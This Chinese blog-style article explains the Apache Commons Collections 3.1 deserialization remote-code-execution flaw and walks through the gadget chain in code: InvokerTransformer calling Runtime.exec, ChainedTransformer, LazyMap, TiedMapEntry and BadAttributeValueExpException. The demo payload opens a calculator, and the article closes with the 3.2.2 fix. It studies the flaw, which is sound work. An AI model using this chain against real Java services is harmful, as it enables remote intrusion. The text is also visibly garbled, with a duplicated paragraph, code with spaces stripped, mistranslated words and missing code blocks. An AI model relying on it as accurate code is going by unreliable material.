在《fastjson到底做错了什么?为什么会被频繁爆出漏洞?》一文中,我从技术角度分析了为什么fastjson会频繁被曝出一些安全漏洞,然后有人在评论区发了“fastjson很烂……”之类的评论,经常遇到这样的评论我不在乎。但是想了想,这件事还是得单独说说,因为这样的想法是很危险的。这个读者哪天当了leader,如果他负责的项目出了漏洞,他还会站出来说“都是XXX的代码写的不好……”,其实很可怕。工作时间长了,你会逐渐觉得代码是人写的,人写的代码可能会有漏洞。没有错误的代码!其实,关于序列化的安全问题,无论是Java原生的序列化技术,还是其他很多开源的序列化工具,都曾经发生过。连载的安全性一直是一个比较大的话题。我无意反驳fastjson,只是出现问题后直接喷烂代码有点不负责任。Apache-Commons-Collections框架,相信每个Java程序员都不陌生,这是一个非常有名的开源框架。但是他其实已经被曝出序列化安全漏洞,漏洞的表现和fastjson一样,可以远程执行命令。背景ApacheCommons是Apache软件基金会的一个项目。Commons的目的是提供可重用的Java代码,解决各种实际的常见问题,并且是开源的。CommonsCollections包为Java的标准CollectionsAPI提供了一个很好的补充。在此基础上,对其常用的数据结构操作进行了封装、抽象和补充。让我们在保证性能的同时,大大简化了应用开发过程中的代码。CommonsCollections的最新版本是4.4,但使用更广泛的版本是3.x。事实上,在3.2.1以下的版本中,存在一个比较大的安全漏洞,可以被利用来远程执行命令。该漏洞于2015年首次披露,但业界一直称该漏洞为“2015年最被低估的漏洞”。因为这个类库的用途太广泛了,第一个就是很多JavaWebServer。该漏洞席卷了当时最新版本的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS。后来GabrielLawrence和ChrisFrohoff在《Marshalling Pickles how deserializing objects can ruin your day》中提出了如何使用ApacheCommonsCollection实现任意代码执行。问题复现该问题主要出现在ApacheCommonsCollections3.2.1以下版本。本次测试使用3.1版本,JDK版本为Java8。利用Transformer攻击CommonsCollections提供了Transformer接口,主要用于类型转换。该接口有一个与我们今天要介绍的漏洞相关的实现类,即InvokerTransformer。InvokerTransformer提供了一个transform方法,这个方法的核心代码只有3行,主要作用是通过反射实例化传入的对象,然后执行它的iMethodName方法。利用Transformer攻击CommonsCollections提供了一个Transformer接口,主要用于类型转换。该接口有一个与我们今天要介绍的漏洞相关的实现类,即InvokerTransformer。InvokerTransformer提供了一个transform方法,这个方法的核心代码只有3行,主要作用是通过反射实例化传入的对象,然后执行它的iMethodName方法。需要调用的iMethodName和需要使用的参数iArgs实际上是在实例化InvokerTransformer类的时候设置的。该类的构造函数如下:也就是说,使用该类,理论上可以执行任何方法。然后,我们就可以使用这个类来执行Java中的外部命令了。我们知道在Java中如果要执行外部命令,需要使用Runtime.getRuntime().exec(cmd)的形式,所以我们会想办法通过上面的工具类来实现这个功能。首先通过InvokerTransformer的构造函数设置我们要执行的方法和参数:Transformertransformer=newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"open/Applications/Calculator.app"});通过构造函数,我们设置方法名为exec,执行的命令是open/Applications/Calculator.app,即在mac电脑上打开计算器(windows下命令:C:\\Windows\\System32\\calc.exe)。然后,通过InvokerTransformer实例化Runtime类:transformer.transform(Runtime.getRuntime());运行程序后,会执行外部命令,在电脑上打开电脑程序:至此,我们知道可以使用InvokerTransformer来调用外部命令现在,是不是需要将一个自定义的InvokerTransformer序列化成一个字符串,然后对其进行反序列化,接口实现远程命令执行:首先将transformer对象序列化为文件,然后从文件中读取,执行其transform方法实现攻击。你以为就这样结束了吗?但是,如果真的这么简单,这个bug早就被发现了。要真正实施攻击,还有一些事情要做。因为,newTransformer.transform(Runtime.getRuntime());这样的代码,实际上没有人会把它写在代码里。没有这行代码,我们还能执行外部命令吗?这就需要用到CommonsCollections提供的另一个工具,就是ChainedTransformer,它是Transformer的实现类。ChainedTransformer类提供了一个转换方法。他的函数遍历了他的iTransformers数组,然后依次调用它的transform方法,每次都返回一个对象,这个对象可以作为下一次调用的参数。然后,我们可以利用这个特性来实现与transformer.transform(Runtime.getRuntime());相同的功能。Transformer[]transformers=newTransformer[]{//通过内置的ConstantTransformer获取Runtime类newConstantTransformer(Runtime.class),//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()methodnewInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//反射调用exec方法newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"open/Applications/Calculator.app"})};TransformertransformerChain=newChainedTransformer(transformers);得到一个transformerChain后,直接调用它的transform方法,传入任意参数。执行后还可以实现打开本地计算器程序的功能:那么,结合序列化,目前的攻击又更进了一步。不再需要传入newTransformer.transform(Runtime.getRuntime());这样的代码,只要代码中有对transformer.transform()方法的调用,不管里面有什么参数:攻击者都不会满足于此。但是,一般没有程序员会在代码中写这样的代码。那么,攻击方式就需要更进一步,真正做到“不需要程序员的配合”。因此,攻击者发现CommonsCollections中提供了一个LazyMap类,该类的get会调用transform方法。(CommonsCollections真的很懂黑客的想法。)那么,现在的攻击方向就是想办法调用LazyMap的get方法,把里面的factory设置为我们的序列化对象。顺藤摸瓜,可以发现CommonsCollections中TiedMapEntry类的getValue方法会调用LazyMap的get方法,而TiedMapEntry类的getValue会调用toString()方法。publicStringtoString(){returngetKey()+"="+getValue();}publicObjectgetValue(){returnmap.get(key);}那么,现在攻击门槛低了,只要我们自己构造一个TiedMapEntry,设置He序列化,这样只要有人拿到序列化后的对象,调用他的toString方法,就会自动触发bug。变压器transformerChain=newChainedTransformer(transformers);MapinnerMap=newHashMap();MaplazyMap=LazyMap.decorate(innerMap,transformerChain);TiedMapEntryentry=newTiedMapEntry(lazyMap,"key");我们知道toString在很多情况下会被隐式调用,比如output(System.out.println(ois.readObject());),代码示例如下:现在,黑客只需要上传序列化后的内容将自己构造的TiedMapEntry传给应用程序,应用程序反序列化后,如果调用toString,就会被攻击。只要反序列化,就会被攻击。那么,有没有办法让代码只要反序列化我们准备的内容就可以被攻击呢?果然发现了,只要满足以下条件:即某个类的readObject会调用我们上面提到的LazyMap或TiedMapEntry的相关方法。因为Java在反序列化的时候,会调用对象的readObject方法。通过深入挖掘,黑客发现了BadAttributeValueExpException、AnnotationInvocationHandler等类。这里我们以BadAttributeValueExpException为例。BadAttributeValueExpException类是Java提供的异常类。它的readObject方法直接调用了toString方法:那么,攻击者只需要想办法在代码中将TiedMapEntry对象赋值给valObj即可。通过阅读源码,我们发现只需要将BadAttributeValueExpException类中的成员变量val设置为一个TiedMapEntry类型的对象即可。这个很简单,通过反射就可以实现:);//val是私有变量,所以用下面的方法赋值Fieldvalfield=poc.getClass().getDeclaredField("val");valfield.setAccessible(true);valfield.set(poc,entry);所以,这个时候,攻击就很简单了,只要把BadAttributeValueExpException对象序列化成字符串,只要把字符串内容反序列化,就会被攻击。问题解决上面我们复现了一个由ApacheCommonsCollections类库带来的反序列化相关的远程代码执行漏洞。通过对该漏洞的分析,我们可以发现,只要有代码不够严谨的地方,就有可能被攻击者利用。由于该漏洞影响范围非常大,所以在曝光后进行了修复。开发者只需将ApacheCommonsCollections类库升级到3.2.2版本即可避免该漏洞。在3.2.2版本中,对一些不安全的Java类的序列化支持增加了一个开关,默认是关闭的。涉及到的类包括CloneTransformerForClosureInstantiateFactoryInstantiateTransformerInvokerTransformerPrototypeCloneFactoryPrototypeSerializationFactory、WhileClosure等,在InvokerTransformer类中,实现了序列化相关的writeObject()和readObject()方法:在这两个方法中,都进行了序列化安全的相关验证,实现代码有经过验证如下:在序列化和反序列化的过程中,会检查是否禁用了一些不安全类的序列化支持。如果禁用,则将通过org.apache.commons.collections抛出UnsupportedOperationException。enableUnsafeSerialization设置此功能的开关。将ApacheCommonsCollections升级到3.2.2后,执行文章中的示例代码,会报如下错误:org.apache.commonscollections.enableUnsafeSerialization'to'true',但你必须确保你的应用程序不会反序列化来自不受信任的源的对象。atorg.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)atorg.apache.commons.collections.functors.InvokerTransformer。writeObject(InvokerTransformer.java:155)后记本文介绍了ApacheCommonsCollections历史版本中的一个反序列化漏洞。如果看完这篇文章你能有以下的想法,那么这篇文章的目的就达到了:1.代码是人写的,bug无可厚非。2、公共基础类库必须关注安全问题3、使用公共类库时,必须时刻注意其安全性。一旦出现漏洞,必须立即升级。:https://commons.apache.org/proper/commons-collections/release_3_2_2.htmlhttps://p0sec.net/index.php/archives/121/https://www.freebuf.com/vuls/175252.htmlhttps//kingx.me/commons-collections-java-deserialization.html
